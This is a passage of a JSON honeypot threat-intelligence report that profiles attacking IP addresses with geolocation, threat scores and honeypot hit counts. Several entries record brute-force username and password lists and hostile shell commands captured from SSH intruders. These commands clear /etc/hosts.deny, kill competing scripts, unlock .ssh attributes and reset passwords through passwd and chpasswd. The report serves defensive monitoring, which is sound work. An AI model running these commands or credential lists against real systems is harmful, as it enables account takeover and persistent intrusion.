        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 318,
        "days_active_30d": 30,
        "ports_targeted_30d": 83,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T10:10:54.358000+00:00",
        "last_seen_30d": "2026-03-31T08:42:18.867000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 94,
        "Miniprint": 16,
        "ConPot": 6,
        "Mailoney": 6,
        "Cowrie": 3,
        "Dionaea": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "ElasticPot": 1
      }
    },
    "114.35.131.235": {
      "attack_count": 2,
      "first_seen": "2026-03-11T11:51:50.246Z",
      "last_seen": "2026-03-11T11:52:05.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:51:50.246000+00:00",
        "last_seen_30d": "2026-03-11T11:53:12.351000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.211.68.150": {
      "attack_count": 2,
      "first_seen": "2026-03-10T02:33:11.136Z",
      "last_seen": "2026-03-10T02:33:23.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:33:11.136000+00:00",
        "last_seen_30d": "2026-03-10T02:34:31.332000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.204.227.50": {
      "attack_count": 2,
      "first_seen": "2026-03-23T05:26:52.693Z",
      "last_seen": "2026-03-23T05:27:05.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vit\u00f3ria",
      "asn": 263915,
      "as_org": "Connectronic Servicos Ltda",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T05:26:52.693000+00:00",
        "last_seen_30d": "2026-03-23T05:28:13.878000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.64.185.21": {
      "attack_count": 2,
      "first_seen": "2026-03-16T01:03:09.025Z",
      "last_seen": "2026-03-16T01:03:09.027Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T01:03:09.025000+00:00",
        "last_seen_30d": "2026-03-16T01:04:13.172000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "181.212.3.42": {
      "attack_count": 2,
      "first_seen": "2026-03-13T17:44:33.305Z",
      "last_seen": "2026-03-13T17:44:45.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T17:44:33.305000+00:00",
        "last_seen_30d": "2026-03-13T17:45:50.437000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.62.204.163": {
      "attack_count": 2,
      "first_seen": "2026-03-24T20:35:54.084Z",
      "last_seen": "2026-03-24T20:36:07.792Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sete Lagoas",
      "asn": 262617,
      "as_org": "UWBR VOX Telecomunicacoes SA",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T20:35:54.084000+00:00",
        "last_seen_30d": "2026-03-24T20:37:09.375000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.201": {
      "attack_count": 2,
      "first_seen": "2026-03-04T20:32:05.668Z",
      "last_seen": "2026-03-04T20:32:05.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T08:01:29+00:00",
        "last_seen_30d": "2026-03-31T03:20:14.688000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 36,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "205.210.31.91": {
      "attack_count": 2,
      "first_seen": "2026-03-02T21:59:25.054Z",
      "last_seen": "2026-03-02T21:59:25.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T21:59:25.054000+00:00",
        "last_seen_30d": "2026-03-31T21:29:46.297000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "218.149.51.132": {
      "attack_count": 2,
      "first_seen": "2026-03-08T20:53:38.674Z",
      "last_seen": "2026-03-08T20:53:52.032Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:53:38.674000+00:00",
        "last_seen_30d": "2026-03-08T20:54:54.601000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.28.98": {
      "attack_count": 2,
      "first_seen": "2026-03-20T22:14:27.280Z",
      "last_seen": "2026-03-20T22:14:40.238Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T22:14:27.280000+00:00",
        "last_seen_30d": "2026-03-20T22:15:44.059000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.45.226": {
      "attack_count": 2,
      "first_seen": "2026-03-21T03:21:23.594Z",
      "last_seen": "2026-03-21T03:21:36.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:21:23.594000+00:00",
        "last_seen_30d": "2026-03-21T03:22:43.692000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.128.47": {
      "attack_count": 2,
      "first_seen": "2026-03-05T01:41:12.829Z",
      "last_seen": "2026-03-05T01:41:13.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:57:18+00:00",
        "last_seen_30d": "2026-03-25T05:27:26.032000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 3,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "H0neytr4p": 2,
        "Dionaea": 1
      }
    },
    "45.59.33.109": {
      "attack_count": 2,
      "first_seen": "2026-03-15T02:10:54.890Z",
      "last_seen": "2026-03-15T02:11:08.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cincinnati",
      "asn": 6181,
      "as_org": "Cincinnati Bell Telephone Company LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:10:54.890000+00:00",
        "last_seen_30d": "2026-03-15T02:12:13.028000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.93.81.231": {
      "attack_count": 2,
      "first_seen": "2026-03-20T00:55:48.488Z",
      "last_seen": "2026-03-20T00:55:48.489Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:55:48.488000+00:00",
        "last_seen_30d": "2026-03-20T00:56:58.422000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.180.135.198": {
      "attack_count": 2,
      "first_seen": "2026-03-23T17:18:39.377Z",
      "last_seen": "2026-03-23T17:18:53.005Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T17:18:39.377000+00:00",
        "last_seen_30d": "2026-03-23T17:19:53.426000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.20.224.136": {
      "attack_count": 2,
      "first_seen": "2026-03-27T10:51:37.389Z",
      "last_seen": "2026-03-27T10:51:51.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:51:37.389000+00:00",
        "last_seen_30d": "2026-03-27T10:52:57.651000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.43.139.58": {
      "attack_count": 10550,
      "first_seen": "2026-03-02T14:06:36.666Z",
      "last_seen": "2026-03-31T22:52:36.363Z",
      "sessions": 2088,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ftp1",
        "ddd",
        "authority",
        "admin",
        "ui",
        "qaz",
        "root",
        "0"
      ],
      "passwords_attempted": [
        "or4cl3",
        "ftp1",
        "ddd",
        "authority",
        "admin",
        "ui",
        "123456",
        "password",
        "0"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15079,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T14:06:36.666000+00:00",
        "last_seen_30d": "2026-03-31T22:53:38.081000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10550,
        "Suricata": 4529
      }
    },
    "147.182.153.89": {
      "attack_count": 889,
      "first_seen": "2026-03-18T19:10:44.617Z",
      "last_seen": "2026-03-18T19:30:50.872Z",
      "sessions": 178,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "deployer",
        "oracle",
        "ftpuser",
        "ubuntu",
        "bob",
        "bot",
        "ducc0x",
        "frappe",
        "home",
        "test",
        "user",
        "weblogic",
        "www",
        "zabbix",
        "0000",
        "a",
        "aaa",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345",
        "P@ssw0rd",
        "0000",
        "1",
        "11",
        "12345678",
        "admin",
        "admin123",
        "dstserver",
        "p@ssw0rd",
        "root",
        "02071979",
        "090786",
        "0987654321",
        "1011",
        "102030",
        "1111",
        "112233"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 1255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T19:10:44.617000+00:00",
        "last_seen_30d": "2026-03-18T19:40:59.117000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 889,
        "Suricata": 366
      }
    },
    "209.97.134.91": {
      "attack_count": 790,
      "first_seen": "2026-03-04T13:03:43.286Z",
      "last_seen": "2026-03-04T15:22:23.291Z",
      "sessions": 157,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "mysql",
        "pi",
        "postgres",
        "root",
        "test",
        "ubuntu",
        "user",
        "nginx"
      ],
      "passwords_attempted": [
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "123",
        "admin",
        "default",
        "111111",
        "access",
        "admin123",
        "backup",
        "data",
        "dbadmin",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T13:03:26.735000+00:00",
        "last_seen_30d": "2026-03-04T15:23:33.438000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 790,
        "Suricata": 341
      }
    },
    "42.200.78.78": {
      "attack_count": 592,
      "first_seen": "2026-03-08T03:51:44.977Z",
      "last_seen": "2026-03-26T08:18:44.564Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "db2inst1",
        "frank",
        "sysadmin",
        "tester",
        "admin",
        "arthur",
        "azuracast",
        "clawd",
        "cvs",
        "den",
        "ghost",
        "informix",
        "intel",
        "jira",
        "jupyter",
        "kannel",
        "linux",
        "mob"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "password",
        "123qweasdZXC",
        "1qaz!QAZ",
        "@dmin",
        "Aa123456Aa",
        "Abc123!!!",
        "Huawei@123",
        "Qwe123..",
        "Qwert!2345",
        "Server2026",
        "admin",
        "asdfghjkl",
        "cvs",
        "den"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nPLpKZWN75uKB\\nPLpKZWN75uKB\\n\"|passwd",
        "echo \"1234\\nn4iZdqkaLcb3\\nn4iZdqkaLcb3\\n\"|passwd",
        "echo \"admin\\n5auMVVptrd9J\\n5auMVVptrd9J\\n\"|passwd",
        "echo \"root:9kECP93LAXiO\"|chpasswd|bash",
        "echo \"root:jupY32nRCSry\"|chpasswd|bash",
        "echo \"sysadmin123\\ncvmV35C4PIs8\\ncvmV35C4PIs8\\n\"|passwd",
        "echo -e \"1234\\nPLpKZWN75uKB\\nPLpKZWN75uKB\"|passwd|bash",
        "echo -e \"1234\\nn4iZdqkaLcb3\\nn4iZdqkaLcb3\"|passwd|bash",
        "echo -e \"admin\\n5auMVVptrd9J\\n5auMVVptrd9J\"|passwd|bash",
        "echo -e \"sysadmin123\\ncvmV35C4PIs8\\ncvmV35C4PIs8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 703,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T03:51:44.977000+00:00",
        "last_seen_30d": "2026-03-26T08:19:52.690000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 111
      }
    },
    "54.37.229.48": {
      "attack_count": 579,
      "first_seen": "2026-03-06T08:21:39.387Z",
      "last_seen": "2026-03-16T15:33:32.088Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "efs",
        "erwin",
        "hong",
        "perforce",
        "sabrina",
        "user",
        "xml",
        "alex",
        "asterix",
        "astro",
        "celery",
        "claude",
        "ctf",
        "d",
        "guillaume",
        "hath",
        "jason",
        "ljd"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "1234",
        "password",
        "123",
        "1qaz@WSX",
        "@qwer2025",
        "@qwer2026",
        "Ab123456789",
        "Celery123!",
        "Efs123",
        "Guillaume123!",
        "Mcuser123",
        "Perforce123",
        "Test123456",
        "Thor123",
        "Ubuntu22123!",
        "Ye123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ngqw8s4dzWM7K\\ngqw8s4dzWM7K\\n\"|passwd",
        "echo \"12345\\nXxDxUBtpaZ2z\\nXxDxUBtpaZ2z\\n\"|passwd",
        "echo \"Efs123\\nypNSrPFF3tqS\\nypNSrPFF3tqS\\n\"|passwd",
        "echo \"Perforce123\\n8PCrjNZhHUvT\\n8PCrjNZhHUvT\\n\"|passwd",
        "echo \"password\\nNLIWqlXwPldW\\nNLIWqlXwPldW\\n\"|passwd",
        "echo \"xml1234\\n4hcdrufZwyXK\\n4hcdrufZwyXK\\n\"|passwd",
        "echo -e \"12345678\\ngqw8s4dzWM7K\\ngqw8s4dzWM7K\"|passwd|bash",
        "echo -e \"12345\\nXxDxUBtpaZ2z\\nXxDxUBtpaZ2z\"|passwd|bash",
        "echo -e \"Efs123\\nypNSrPFF3tqS\\nypNSrPFF3tqS\"|passwd|bash",
        "echo -e \"Perforce123\\n8PCrjNZhHUvT\\n8PCrjNZhHUvT\"|passwd|bash",
        "echo -e \"password\\nNLIWqlXwPldW\\nNLIWqlXwPldW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 683,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:21:39.387000+00:00",
        "last_seen_30d": "2026-03-16T15:34:35.689000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 579,
        "Suricata": 104
      }
    },
    "45.249.244.231": {
      "attack_count": 542,
      "first_seen": "2026-03-10T02:06:50.790Z",
      "last_seen": "2026-03-27T00:46:47.886Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
